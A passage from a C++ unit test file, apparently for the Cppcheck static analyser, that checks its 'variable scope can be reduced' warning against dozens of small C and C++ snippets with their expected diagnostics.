errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], 